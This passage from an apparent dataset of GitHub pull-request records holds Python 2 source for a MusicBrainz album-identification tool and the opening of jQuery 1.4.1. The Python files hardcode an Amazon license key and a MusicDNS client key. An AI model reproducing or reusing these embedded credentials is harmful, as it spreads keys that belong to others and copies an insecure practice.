of release id's\n\tpossible_releases={}\n\timpossible_releases=[]\n\ttrack_generator={}\n\tcompleted_releases=[]\n\n\tstart_time = time.time()\n\n\tif trackinfo=={}:\n\t\tprint \"No tracks to identify?\"\n\t\treturn\n\n\tfor (fileid,file) in trackinfo.iteritems():\n\t\ttrack_generator[fileid]=itertools.chain(\n\t\t\tfile.getTracks(),\n\t\t\tstrat_musicbrainzid.generate_from_metadata(file),\n\t\t\tstrat_transitive.generate_track_puid_possibilities(\n\t\t\t\tfile.getTracks()),\n\t\t\tstrat_metadata.generate_from_metadata(\n\t\t\t\tfile,\n\t\t\t\tlen(trackinfo)),\n\t\t\tstrat_trackname.generate_track_name_possibilities(\t\n\t\t\t\t\tfile,\n\t\t\t\t\tfileid,\n\t\t\t\t\tpossible_releases)\n\t\t\t)\n\n\twhile track_generator!={}:\n\t\ttimelimit = albumidentifyconfig.config.getint(\"albumidentify\",\"timelimit\")\n\t\tif  timelimit > 0 and time.time() - start_time > timelimit:\n\t\t\tprint \"TIMEOUT EXCEEDED, GIVING UP\"\n\t\t\tbreak\n\t\tfileid = choose_track(\n\t\t\t\tpossible_releases,\n\t\t\t\t track_generator,\n\t\t\t\t trackinfo)\n\t\ttry:\n\t\t\ttrack = track_generator[fileid].next()\n\t\texcept StopIteration:\n\t\t\tend_of_track(\n\t\t\t\tpossible_releases,\n\t\t\t\timpossible_releases,\n\t\t\t\ttrack_generator,\n\t\t\t\ttrackinfo,\n\t\t\t\tfileid)\n\t\t\t# If we have no more possible releases for the track\n\t\t\t# we're giving up on, we can't # get any more.\n\t\t\t# So give up now.\n\t\t\tif possible_releases == {}:\n\t\t\t\treturn\n\t\t\tcontinue\n\n\t\tfor releaseid in (x.id for x in track.releases):\n\n\t\t\t# Skip releases we've already seen before.\n\t\t\tif releaseid in impossible_releases:\n\t\t\t\tcontinue\n\n\t\t\tutil.update_progress(\"Considering %s\" % (\n\t\t\t\tmusicbrainz2.utils.extractUuid(releaseid)))\n\t\t\ttry:\n\t\t\t\trelease = lookups.get_release_by_releaseid(releaseid)\n\t\t\texcept Exception,e:\n\t\t\t\tutil.report(\"WARNING: Unexpected exception looking for \"+musicbrainz2.utils.extractUuid(releaseid)+\": \"+str(e))\n\t\t\t\tcontinue\n\n\t\t\t# Is the track usable?\n\t\t\tif not verify_track(release, \n\t\t\t\t\tpossible_releases,\n\t\t\t\t\timpossible_releases,\n\t\t\t\t\ttrackinfo,\n\t\t\t\t\tfileid,\n\t\t\t\t\ttrack):\n\t\t\t\tcontinue\n\n\t\t\tadd_new_track(release, \n\t\t\t\t\tpossible_releases, \n\t\t\t\t\tfileid, \n\t\t\t\t\ttrack, \n\t\t\t\t\ttrackinfo, \n\t\t\t\t\timpossible_releases)\n\n\t\t\tif len(possible_releases[releaseid])==len(trackinfo) \\\n\t\t\t\t\tand releaseid not in completed_releases:\n\t\t\t\tprint release.title,\"seems ok\\x1b[K\"\n\t\t\t\tprint \"Musicbrainz Release Id: %s.html\" % release.id\n\t\t\t\tyield releaseid, possible_releases[releaseid]\n\t\t\t\tcompleted_releases.append(releaseid)\n\t\t\t\ndef guess_album(trackinfo):\n\tfor rid,trackmap in guess_album2(trackinfo):\n\t\trelease = lookups.get_release_by_releaseid(rid)\n\t\talbumartist=release.artist\n\t\tif musicbrainz2.model.Release.TYPE_SOUNDTRACK in release.types:\n\t\t\tdirectoryname = \"Soundtrack\"\n\t\telse:\n\t\t\tdirectoryname = albumartist.name\n\t\treleaseevents=release.getReleaseEvents()\n\t\ttracks=release.getTracks()\n\t\ttrackdata=[]\n\t\tfor tracknum,fileid in trackmap.items():\n\t\t\ttrk=tracks[tracknum-1]\n\t\t\tmusicfile = trackinfo[fileid]\n\t\t\tif trk.artist is None:\n\t\t\t\tartist=albumartist.name\n\t\t\t\tsortartist=albumartist.sortName\n\t\t\t\tartistid=albumartist.id\n\t\t\telse:\n\t\t\t\tartist=trk.artist.name\n\t\t\t\tsortartist=trk.artist.sortName\n\t\t\t\tartistid=trk.artist.id\n\t\t\ttrackdata.append((\n\t\t\t\t\ttracknum,\t\t\t\n\t\t\t\t\tartist,\n\t\t\t\t\tsortartist,\n\t\t\t\t\ttrk.title,\n\t\t\t\t\tmusicfile.getDuration(),\n\t\t\t\t\tmusicfile.getFilename(),\n\t\t\t\t\tartistid,\n\t\t\t\t\ttrk.id))\n\n\t\tasin = lookups.get_asin_from_release(release)\n\t\talbuminfo = (\n\t\t\tdirectoryname,\n\t\t\trelease.title,\n\t\t\trid+\".html\",\n\t\t\t[x.date for x in releaseevents],\n\t\t\tasin,\n\t\t\ttrackdata,\n\t\t\talbumartist,\n\t\t\trelease.id,\n\t\t)\n\t\tyield albuminfo\n\ndef tracks_in_order(trackdata):\n\tfids = [x[5] for x in trackdata]\n\tfids = sort.sorted_list(fids)\n\tfor (tracknum,artist,sortartist,title,dur,fname,artistid,trkid),fid in zip(trackdata,fids):\n\t\tif fname != fid:\n\t\t\treturn False\n\treturn True\n\n\ndef guess_best_album(trackinfo):\n\tcount = 0\n\tpossibilities={}\n\tfor (directoryname, \n\t\t\ttitle,\n\t\t\trid, \n\t\t\trevents, \n\t\t\tasin, \n\t\t\ttrackdata, \n\t\t\talbumartist, \n\t\t\treleaseid) in guess_album(trackinfo):\n\t\tcount+=1\n\t\tpossibilities[releaseid]=title\n\t\tif tracks_in_order(trackdata):\n\t\t\tyield (directoryname, \n\t\t\t\ttitle, \n\t\t\t\trid,\n\t\t\t\trevents, \n\t\t\t\tasin, \n\t\t\t\ttrackdata, \n\t\t\t\talbumartist, \n\t\t\t\treleaseid)\n\tif count == 0:\n\t\tprint \"Unable to identify album\"\n\tif count == 1:\n\t\tyield (directoryname, \n\t\t\trelease.title, \n\t\t\trid,\n\t\t\trevents, \n\t\t\tasin, \n\t\t\ttrackdata, \n\t\t\talbumartist, \n\t\t\treleaseid)\n\tif count > 1:\n\t\tprint \"Too many out of order tracks\"\n\t\tprint \"Possible releases:\"\n\t\tfor releaseid,releasetitle in possibilities.items():\n\t\t\tprint \" %s: %s\" % (releaseid, releasetitle)\n\t\ndef process_dir(dir_path):\n\t\"\"\"Process a directory and guess the album in it.\n\n\tArgs:\n\t\tdir_path: Full path to the directory to guess from.\n\n\tReturns:\n\t\tA generator which will yield album_info guesses. See guess_album for\n\t\tdetails of the guess format.\n\t\"\"\"\n\ttrackinfo = get_dir_info(dir_path)\n\treturn guess_best_album(trackinfo)\n\nif __name__==\"__main__\":\n\timport sys\n\talbum_info = process_dir(sys.argv[1])\n\t(artist, release, rid, releases, asin, trackdata, albumartist,\n\t\t\treleaseid) = album_info.next()\n\tprint albumartist,\"-\",release\n\tprint \"ASIN:\",asin\n\tprint \"Release Dates:\",\n\tfor i in releases:\n\t\tprint \"\",i\n\tfor (tracknum,artist,sortartist,title,dur,fname,artistid,trkid) in trackdata:\n\t\tprint \"\",tracknum,\"-\",artist,\"-\",title,\"%2d:%06.3f\" % (int(dur/60000),(dur % 60000)/1000)\n\t\tprint \" \",fname\n\n", "src/renamealbum/lookups.py": "import musicbrainz2 as mb\nimport musicbrainz2.webservice as ws\nimport musicbrainz2.model as model\nimport time\nimport amazon4\nimport re\nimport pickle\nimport os\nimport memocache\nimport util\nimport errno\nimport socket\nfrom urllib2 import URLError\nfrom urllib2 import HTTPError\n\nAMAZON_LICENSE_KEY='1WQQTEA14HEA9AERDMG2'\n\nAPPNAME='albumidentify'\nAPPVERSION='1.0'\nAPPCONTACT='http://github.com/albumidentify/albumidentify'\n\n# See http://wiki.musicbrainz.org/XML_Web_Service/Rate_Limiting\n#  Section Providing_meaningful_User-Agent_strings\nCLIENTID='%s/%s (%s)' % (APPNAME, APPVERSION, APPCONTACT)\n\n# 0 = No profile information\n# 1 = Delay information only\n# 2 = Delay and webquery time\nPROFILE=2\nMINDELAY=1.25\nWSATTEMPTS=3\n\nstartup = time.time()\nlastwsquery = {}\n\nassert map(int,mb.__version__.split(\".\")) >= [0,7,4], \"Need python-musicbrainz2 >= v0.7.4\"\n\nSUBMIT_SUPPORT = map(int, mb.__version__.split(\".\")) >= [0,7,0]\n\nif SUBMIT_SUPPORT == False:\n        print \"To submit ISRCs to the musicbrainz database you need\"\n        print \" python-musicbrainz2 >= v 0.7.0\"\n\n\nwebservices = {\n\t\"lastfm\" : { \n\t\t\"freequeries\" : 1,\n\t},\n\t\"musicdns\" : { \n\t\t\"freequeries\" : 1,\n\t},\n\t\"musicbrainz\" : {\n\t\t\"freequeries\" : 13,\n\t},\n}\n\ndef timeout_retry(webservice=\"default\"):\n        \"\"\" Decorator to retry failures in web service calls.\n\n            For example, a 503 will result in a 20 second cooldown. A urlopen timeout\n            will simply be tried again.\n        \"\"\"\n        assert webservice in webservices,\"Unknown webservice\"\n        def ws_backoff(func):\n                def backoff_func(*args, **kwargs):\n                        global lastwsquery\n\t\t\ti = 0\n\t\t\twhile True:\n\t                        try:\n\t                                return func(*args,**kwargs)\n\t\t\t\t#musicbrainz2 error (child of WebServiceError)\n\t\t\t\texcept ws.ConnectionError,e:\n\t\t\t\t\t#e.reason is the as a urllib2.URLError\n\t\t\t\t\tprint (\"Caught %s error\" % e.reason.reason)\n\t\t\t\t#musicbrainz2 error\n\t\t\t\texcept ws.WebServiceError,e:\n\t\t\t\t\t#e.reason is a urllib2.HTTPError\n\t\t\t\t\tif e.reason.code == 503:\n\t\t\t\t\t\tprint (\"Caught \" +webservice+ \" 503\")\n\t\t\t\t\telse:\n\t\t\t\t\t\traise\n\t\t\t\t#urllib2 error (child of URLError)\n\t\t\t\texcept HTTPError, e:\n\t\t\t\t\t# Misc http errors -> should probably deal with these on a case by case basis\n\t\t\t\t\tif e.code == 400 and func.__name__ is not \"_do_raw_lastfm_query\":\n\t\t\t\t\t\tprint (\"Error code 400. Possible malformed URL: %s\" % e.filename)\n\t\t\t\t\t\traise\n\t\t\t\t\telse:\n\t\t\t\t\t\traise\n\t\t\t\t#urllib2 error (child of IOError)\n\t\t\t\texcept URLError, e:\n\t\t\t\t\tprint (\"Caught %s error\" % e.reason)\n\t\t\t\t#socket error (child of IOError)\n\t\t\t\texcept socket.error, e:\n\t\t\t\t\tprint (\"Caught %s error\" % str(e))\n\t\t\t\t# This is a very broad error so it should go last (other errors inherit from IOError)\n\t\t\t\texcept IOError,e:\n\t\t\t\t\t#url lib converts socket errors to cryptic IOErrors for some strange reason\n\t\t\t\t\tif e.errno == \"socket error\" and e.strerror.args[0] == \"timed out\":\n\t\t\t\t\t\tprint (\"Caught \" +webservice+ \" IO timeout\")\n\t\t\t\t\telse:\n\t\t\t\t\t\t# A bare raise will reraise the current exception\n\t\t\t\t\t\traise\n\n\t\t\t\t#bail if we've made enough attempts\n\t\t\t\tif i >= WSATTEMPTS:\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\ti+=1\n\n\t                        util.update_progress(\"waiting 20 seconds and trying again...\")\n\t\t\t\ttime.sleep(20)\n\t\t\t\tutil.update_progress(\"20 second backoff is over. Retrying now...\")\n\t                        # Reset the timer delayed uses so that we don't\n\t                        # end up with a bunch of queries causing\n\t                        # another 503\n\t                        lastwsquery[webservice]=time.time()\n\n\t\t\tprint \"Giving up on call to %s after %d tries.\" % (webservice, WSATTEMPTS)\n\t\t\traise\n\n                backoff_func.__name__=func.__name__\n                return backoff_func\n        return ws_backoff\n\ndef delayed(webservice=\"default\"):\n\t\"Decorator to make sure a function isn't called more often than once every 2 seconds. used to space webservice calls\"\n\tassert webservice in webservices,\"Unknown webservice\"\n\tdef delayed2(func):\n\t\tdef delay(*args,**kwargs):\n\t\t\tglobal lastwsquery\n\t\t\tif webservice not in lastwsquery:\n\t\t\t\tlastwsquery[webservice]=startup\n\n\t\t\tlastwsquery[webservice] = max(\n\t\t\t\tlastwsquery[webservice],\n\t\t\t\ttime.time() - webservices[webservice][\"freequeries\"] * MINDELAY)\n\t\t\t\t\n\t\t\twait=0\n\t\t\tif time.time()-lastwsquery[webservice]<MINDELAY:\n\t\t\t\twait=MINDELAY-(time.time()-lastwsquery[webservice])\n\t\t\t\tif PROFILE==1:\n\t\t\t\t\tutil.update_progress(\"Waiting %.2fs for %s\" % (wait,func.__name__))\n\t\t\t\ttime.sleep(wait)\n\t\t\tt=time.time()\n\t\t\tret=func(*args,**kwargs)\n\t\t\tif PROFILE>=2:\n\t\t\t\tutil.update_progress(\"%s took %.2fs (after a %.2fs wait)\" % (func.__name__,time.time()-t,wait))\n\t\t\tlastwsquery[webservice]+=MINDELAY\n\t\t\treturn ret\n\t\tdelay.__name__=\"delayed_\"+func.__name__\n\t\treturn delay\n\treturn delayed2\n\ntrackincludes = {\n\t\"artist\"\t: True,\n\t\"releases\"\t: True,\n\t\"puids\"\t\t: True,\n\t\"artistRelations\": False,\n\t\"releaseRelations\": False,\n\t\"trackRelations\": False,\n\t\"urlRelations\"\t: False,\n\t\"tags\"\t\t: True,\n}\nif SUBMIT_SUPPORT:\n\ttrackincludes[\"isrcs\"]=True\n\t\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_tracks_by_puid(puid):\n\t\"\"\" Lookup a list of musicbrainz tracks by PUID. Returns a list of Track\n\tobjects. \"\"\" \n\tq = ws.Query(clientId=CLIENTID)\n\tfilter = ws.TrackFilter(puid=puid)\n\tresults = []\n\trs = q.getTracks(filter=filter)\n\tfor r in rs:\n\t\tresults.append(r.getTrack())\n\treturn results\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_track_by_id(id):\n\tq = ws.Query(clientId=CLIENTID)\n\tresults = []\n        includes = ws.TrackIncludes(**trackincludes)\n\n\tt = q.getTrackById(id_ = id, include = includes)\n\treturn t\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_release_by_releaseid(releaseid):\n\t\"\"\" Given a musicbrainz release-id, fetch the release from musicbrainz. \"\"\"\n\tq = ws.Query(clientId=CLIENTID)\n\trequests = {\n\t\t\"artist\" \t: True,\n\t\t\"counts\" \t: True,\n\t\t\"tracks\" \t: True,\n\t\t\"releaseEvents\" : True,\n\t\t\"releaseRelations\" : True,\n\t\t\"urlRelations\"\t: True,\n\t\t\"tags\"\t\t: True,\n\t}\n        if SUBMIT_SUPPORT:\n\t\trequests[\"isrcs\"] = True\n\tincludes = ws.ReleaseIncludes(**requests)\n\treturn q.getReleaseById(id_ = releaseid, include=includes)\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_releases_by_cdtext(title, performer, num_tracks):\n\t\"\"\" Given the performer, title and number of tracks on a disc, lookup\nthe release in musicbrainz. This method returns a list of possible results, or\nthe empty list if there were no matches. \"\"\"\n\n\tif title == \"\" or performer==\"\":\n\t\treturn []\n\tq = ws.Query(clientId=CLIENTID)\n\tfilter = ws.ReleaseFilter(title=title, \n\t\t\t\tartistName=performer)\n\trels = q.getReleases(filter=filter)\n\t\n\t# Filter out of the list releases with a different number of tracks to\n\t# the Disc.\n        return [r \n\t\tfor r in rels \n\t\tif len(get_release_by_releaseid(r.release.id).getTracks()) == num_tracks\n\t\t]\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_releases_by_discid(discid):\n        \"\"\" Given a musicbrainz disc-id, fetch a list of possible releases. \"\"\"\n        q = ws.Query(clientId=CLIENTID)\n        filter = ws.ReleaseFilter(discId=discid)\n        return q.getReleases(filter=filter)\n\ndef track_number(tracks, track):\n\t\"\"\" Lookup trackname in a list of tracks and return the track number\n\t(indexed starting at 1) \"\"\"\n\ttracknum = 1\n\tfor t in tracks:\n\t\tif t.id == track.id:\n\t\t\treturn tracknum\n\t\ttracknum += 1\n\treturn -1\n\n@memocache.memoify()\n@timeout_retry(\"musicbrainz\")\n@delayed(\"musicbrainz\")\ndef get_track_artist_for_track(track):\n\t\"\"\" Returns the musicbrainz Artist object for the given track. This may\n\t\trequire a webservice lookup\n\t\"\"\"\n\tif track.artist is not None:\n\t\treturn track.artist\n\n\tq = ws.Query(clientId=CLIENTID)\n\tincludes = ws.TrackIncludes(artist = True)\n\tt = q.getTrackById(track.id, includes)\n\n\tif t is not None:\n\t\treturn t.artist\n\n\treturn None\n\ndef __get_prev_and_next_releases(release):\n        prev = None\n        next = None\n        relations = release.getRelations()\n        for r in relations:\n                if r.getType().find(\"#PartOfSet\") != -1:\n                        if r.getDirection() == model.Relation.DIR_BACKWARD:\n                                prev = str(r.getTargetId()[-36:])\n                        else:\n                                next = str(r.getTargetId()[-36:])\n                        continue\n        return (prev,next)\n\ndef get_all_releases_in_set(releaseid):\n        \"\"\" Return all of the release ids that belong to the same multi-disc set\n            as the provided id.\n\n            The original id will be passed back in the set, so the length of the \n            returned list indicates the number of discs in the set. The list should be\n            ordered.\n        \"\"\"\n        releases = [releaseid]\n        r = get_release_by_releaseid(releaseid)\n        (prev, next) = __get_prev_and_next_releases(r)\n        # Search back to the beginning of the set...\n        while prev is not None:\n                releases = [prev] + releases\n                (prev, n) = __get_prev_and_next_releases(get_release_by_releaseid(prev))\n        # Search forward to the end of the set...\n        while next is not None:\n                releases = releases + [next]\n                (p, next) = __get_prev_and_next_releases(get_release_by_releaseid(next))\n\n        return releases\n\n@memocache.memoify()\ndef get_album_art_url_for_asin(asin):\n\tif asin is None:\n\t\treturn None\n\n\tasin = amazon4.__get_asin(asin)\n\turl = \"http://images.amazon.com/images/P/%s.01._SCLZZZZZZZ_.jpg\" % asin\n\treturn url\n\n\t\"\"\"\n\tprint \"Doing an Amazon Web Services lookup for ASIN \" + asin\n\ttry:\n\t\titem = amazon4.search_by_asin(asin, license_key=AMAZON_LICENSE_KEY, response_group=\"Images\")\n\texcept Exception,e:\n\t\tprint e\n\t\treturn None\n\tif hasattr(item,\"LargeImage\"):\n\t\treturn item.LargeImage.URL\n\treturn None\n\t\"\"\"\n\n@memocache.memoify()\ndef get_asin_from_release(release, prefer=None):\n\t# The ASIN specified in release.asin isn't necessarily the only ASIN\n\t# for the release. Sigh. So, we need to look at the release's relations\n\t# to see if there are multiple ASINs, report this to the user, and\n\t# bail. The user can then choose which ASIN they want to use and\n\t# specify it on the command line next time.\n\tasins = []\n\tfor relation in release.getRelations():\n\t\tif relation.getType().find(\"AmazonAsin\") != -1:\n\t\t\tasinurl = relation.getTargetId()\n\t\t\tasins.append(asinurl)\n\t\t\tprint \"Amazon ASIN: \" + asinurl\n\tif len(asins) == 1:\n\t\treturn asins[0]\n\telif len(asins) == 0:\n\t\tprint \"WARNING: No ASIN for this release\"\n\t\treturn None\n\n        if prefer is not None:\n                for asin in asins:\n                        if asin.find(prefer) != -1:\n                                print \"WARNING: Mulitple ASINs exist, but we are forcing \" + prefer\n                                return asin\n\t\n        print \"WARNING: > 1 ASIN. I'm just going to use the first one. Use --release-asin to overwrite\"\n        return asins[0]\n\ndef parse_album_name(albumname):\n\t\"\"\" Pull apart an album name of the form \n\t\t\t\"Stadium Arcadium (disc 1: Mars)\"\n\t\tand return a tuple of the form\n\t\t\t(albumtitle, discnumber, disctitle)\n\t\tso for the above, we would return\n\t\t\t(\"Stadium Arcadium\", \"1\", \"Mars\")\n\t\tdiscnumber or disctitle will be set to None if they are unavailable\n\t\"\"\"\n\t# Note that we use a pretty ugly pattern here so that it's easy to separate\n\t# out into groups.\n\tpattern = r\"^(.*?)( \\(disc (\\d+)(: (.*))?\\))?$\"\n\tm = re.compile(pattern).search(albumname)\n\tif m is None:\n\t\traise Exception(\"Malformed album name: %s\" % albumname)\n\n\tg = m.groups()\n\treturn (g[0].strip(), g[2], g[4])\n\n# vim: set sw=8 tabstop=8 noexpandtab :\n", "src/renamealbum/musicdns.py": "#\n# musicdns.py\n# An interface to the MusicDNS web-service\n#\n# Mostly stolen^Hborrowed from pyofa\n#\n\nimport urllib\nfrom xml.etree import ElementTree\nfrom xml.parsers import expat\nimport re\nimport lookups\nimport memocache\n\nmusicdns_host = 'ofa.musicdns.org'\nmusicdns_port = 80\n\n@memocache.memoify()\n@lookups.timeout_retry(\"musicdns\")\n@lookups.delayed(\"musicdns\")\ndef lookup_fingerprint(fingerprint, duration, musicdns_key):\n\t\"\"\" Given a fingerprint and duration, lookup the track using the \n\tMusicDNS web-service and return the PUID, if found.\n\t\"\"\"\n\treq = '/ofa/1/track'\n\turl = 'http://%s:%d%s' % (musicdns_host, musicdns_port, req)\n\tpostargs = dict(\n\t\tcid=musicdns_key,\n\t\tcvr=\"flacnamer 0.1\",\n\t\tfpt=fingerprint,\n\t\tart='',\n\t\tttl='track',\n\t\talb='',\n\t\ttnm='',\n\t\tgnr='',\n\t\tyrr='',\n\t\tbrt='',\n\t\tfmt='',\n\t\tdur=str(duration),\n\t\trmd='1' # Return metadata, \n\t)\n\t\n\tdata = urllib.urlencode(postargs)\n\n\tf = urllib.urlopen(url, data)\n\tcontent = f.read()\n\ttry:\n\t\ttree = ElementTree.fromstring(content)\n\texcept expat.ExpatError:\n\t\tprint \"Could not parse response from %s %s:\" % (url, data)\n\t\tprint repr(content)\n\t\traise\n\tsanitize_tree(tree)\n\tel = tree.find('.//title')\n\ttitle = el.text if el is not None else None\n\n\tel = tree.find('.//artist/name')\n\tartist = el.text if el is not None else None\n\n\tel = tree.find('.//puid')\n\tpuid = el.attrib['id'] if el is not None else None\n\n\treturn (title, artist, puid)\n\ndef sanitize_tree(tree):\n\tfor el in tree.getiterator():\n\t\tel.tag = re.sub('{.*}', '', el.tag) \n\n# vim: set sw=8 tabstop=8 noexpandtab :\n", "src/renamealbum/musicfile.py": "import subprocess\nimport lookups\nimport tag\nimport fingerprint\nimport musicdns\nimport memocache\nimport albumidentifyconfig\n\n# Used for reading.\nmusicdns_key = 'a7f6063296c0f1c9b75c7f511861b89b'\n\nclass MusicFile:\n\tdef __init__(self,fname):\n\t\tself.fname = fname\n\t\tself.tracks = None\n\t\tself.fetchedpuid = False\n\t\tself.puid = None\n\t\tself.metadata = None\n\n\tdef __repr__(self):\n\t\treturn \"<MusicFile %s %s>\" % (self.fname,self.puid or \"\")\n\n\tdef _fetchPUID(self):\n\t\tif self.fetchedpuid:\n\t\t\treturn\n\t\tself.fetchedpuid = True\n\t\ttry:\n\t\t\tself.fingerprint, self.dur \\\n\t\t\t\t= fingerprint.populate_fingerprint_cache(self.fname)\n\t\t\tself.trackname, self.artist, self.puid \\\n\t\t\t\t= musicdns.lookup_fingerprint(\n\t\t\t\t\tself.fingerprint, \n\t\t\t\t\tself.dur, \n\t\t\t\t\tmusicdns_key)\n\t\texcept:\n\t\t\tself.dur = None\n\t\t\tself.fingerprint = None\n\t\t\treturn \n\t\tif self.puid != None:\n\t\t\treturn \n\t\t# Submit the PUID if it's unknown\n                genpuid_cmd = albumidentifyconfig.config.get(\"albumidentify\",\"genpuid_command\")\n                musicdnskey = albumidentifyconfig.config.get(\"albumidentify\",\"musicdnskey\")\n                if not genpuid_cmd:\n\t\t\tprint \"No genpuid command specified, can't submit fingerprint for %s\" % self.fname\n\t\t\treturn\n                elif not musicdnskey:\n                        print \"No musicdnskey specified, can't submit fingerprint for %s\" % self.fname\n\t\t\treturn\n\t\tfingerprint.upload_fingerprint_any(\n\t\t\t\tself.fname, \n\t\t\t\tgenpuid_cmd,\n\t\t\t\tmusicdnskey)\n\t\tmemocache.remove_from_cache(\"delayed_lookup_fingerprint\",\n\t\t\t\tself.fingerprint,\n\t\t\t\tself.dur,\n\t\t\t\tmusicdns_key)\n\t\treturn None\n\t\t\n\n\tdef _fetchmetadata(self):\n\t\tif self.metadata is None:\n\t\t\tself.metadata = tag.read_tags(self.fname)\n\n\tdef getPUID(self):\n\t\tself._fetchPUID()\n\t\treturn self.puid\n\n\tdef getMDAlbumTitle(self):\n\t\t\"Return the album title, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.ALBUM,None)\n\n\tdef getMDTrackArtist(self):\n\t\t\"Return the track artist, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.ARTIST,None)\n\n\tdef getMDTrackID(self):\n\t\t\"Return the musicbrainz track id, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.TRACK_ID,None)\n\n\tdef getMDTrackTitle(self):\n\t\t\"Return the track title, or None if not known\"\n\t\tself._fetchmetadata()\n\t\treturn self.metadata.get(tag.TITLE,None)\n\n\tdef getDuration(self):\n\t\t\"Return the duration, or None if not known\"\n\t\tself._fetchPUID()\n\t\treturn self.dur\n\n\tdef getTracks(self):\n\t\t\"Return the tracks\"\n\t\tif self.tracks is None:\n\t\t\tif self.getPUID() is None:\n\t\t\t\treturn []\n\t\t\tself.tracks = lookups.get_tracks_by_puid(self.getPUID())\n\t\treturn self.tracks\n\n\tdef getFilename(self):\n\t\t\"Return the filename\"\n\t\tself._fetchmetadata()\n\t\treturn self.fname\n\n"}}
{"repo": "markj9/labrepl", "pr_number": 1, "title": "Hi! I cleaned up your code for you!", "state": "open", "merged_at": null, "additions": 436, "deletions": 436, "files_changed": ["public/javascripts/jquery.js", "public/javascripts/shBrushClojure.js", "public/javascripts/shCore.js"], "files_before": {"public/javascripts/jquery.js": "/*!\n * jQuery JavaScript Library v1.4.1\n * http://jquery.com/\n *\n * Copyright 2010, John Resig\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * Includes Sizzle.js\n * http://sizzlejs.com/\n * Copyright 2010, The Dojo Foundation\n * Released under the MIT, BSD, and GPL Licenses.\n *\n * Date: Mon Jan 25 19:43:33 2010 -0500\n */\n(function( window, undefined ) {\n\n// Define a local copy of jQuery\nvar jQuery = function( selector, context ) {\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\treturn new jQuery.fn.init( selector, context );\n\t},\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$,\n\n\t// Use the correct document accordingly with window argument (sandbox)\n\tdocument = window.document,\n\n\t// A central reference to the root jQuery(document)\n\trootjQuery,\n\n\t// A simple way to check for HTML strings or ID strings\n\t// (both of which we optimize for)\n\tquickExpr = /^[^<]*(<[\\w\\W]+>)[^>]*$|^#([\\w-]+)$/,\n\n\t// Is it a simple selector\n\tisSimple = /^.[^:#\\[\\.,]*$/,\n\n\t// Check if a string has a non-whitespace character in it\n\trnotwhite = /\\S/,\n\n\t// Used for trimming whitespace\n\trtrim = /^(\\s|\\u00A0)+|(\\s|\\u00A0)+$/g,\n\n\t// Match a standalone tag\n\trsingleTag = /^<(\\w+)\\s*\\/?>(?:<\\/\\1>)?$/,\n\n\t// Keep a UserAgent string for use with jQuery.browser\n\tuserAgent = navigator.userAgent,\n\n\t// For matching the engine and version of the browser\n\tbrowserMatch,\n\t\n\t// Has the ready events already been bound?\n\treadyBound = false,\n\t\n\t// The functions to execute on DOM ready\n\treadyList = [],\n\n\t// The ready event handler\n\tDOMContentLoaded,\n\n\t// Save a reference to some core methods\n\ttoString = Object.prototype.toString,\n\thasOwnProperty = Object.prototype.hasOwnProperty,\n\tpush = Array.prototype.push,\n\tslice = Array.prototype.slice,\n\tindexOf = Array.prototype.indexOf;\n\njQuery.fn = jQuery.prototype = {\n\tinit: function( selector, context ) {\n\t\tvar match, elem, ret, doc;\n\n\t\t// Handle $(\"\"), $(null), or $(undefined)\n\t\tif ( !selector ) {\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle $(DOMElement)\n\t\tif ( selector.nodeType ) {\n\t\t\tthis.context = this[0] = selector;\n\t\t\tthis.length = 1;\n\t\t\treturn this;\n\t\t}\n\n\t\t// Handle HTML strings\n\t\tif ( typeof selector === \"string\" ) {\n\t\t\t// Are we dealing with HTML string or an ID?\n\t\t\tmatch = quickExpr.exec( selector );\n\n\t\t\t// Verify a match, and that no context was specified for #id\n\t\t\tif ( match && (match[1] || !context) ) {\n\n\t\t\t\t// HANDLE: $(html) -> $(array)\n\t\t\t\tif ( match[1] ) {\n\t\t\t\t\tdoc = (context ? context.ownerDocument || context : document);\n\n\t\t\t\t\t// If a single string is passed in and it's a single tag\n\t\t\t\t\t// just do a createElement and skip the rest\n\t\t\t\t\tret = rsingleTag.exec( selector );\n\n\t\t\t\t\tif ( ret ) {\n\t\t\t\t\t\tif ( jQuery.isPlainObject( context ) ) {\n\t\t\t\t\t\t\tselector = [ document.createElement( ret[1] ) ];\n\t\t\t\t\t\t\tjQuery.fn.attr.call( selector, context, true );\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tselector = [ doc.createElement( ret[1] ) ];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tret = buildFragment( [ match[1] ], [ doc ] );\n\t\t\t\t\t\tselector = (ret.cacheable ? ret.fragment.cloneNode(true) : ret.fragment).childNodes;\n\t\t\t\t\t}\n\n\t\t\t\t// HANDLE: $(\"#id\")\n\t\t\t\t} else {\n\t\t\t\t\telem = document.getElementById( match[2] );\n\n\t\t\t\t\tif ( elem ) {\n\t\t\t\t\t\t// Handle the case where IE and Opera return items\n\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\tif ( elem.id !== match[2] ) {\n\t\t\t\t\t\t\treturn rootjQuery.find( selector );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Otherwise, we inject the element directly into the jQuery object\n\t\t\t\t\t\tthis.length = 1;\n\t\t\t\t\t\tthis[0] = elem;\n\t\t\t\t\t}\n\n\t\t\t\t\tthis.context = document;\n\t\t\t\t\tthis.selector = selector;\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\n\t\t\t// HANDLE: 